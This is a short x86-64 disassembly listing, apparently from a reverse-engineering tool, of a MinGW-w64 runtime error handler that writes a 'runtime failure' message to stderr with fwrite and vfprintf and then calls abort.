mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.0040e080
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.0040e080
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]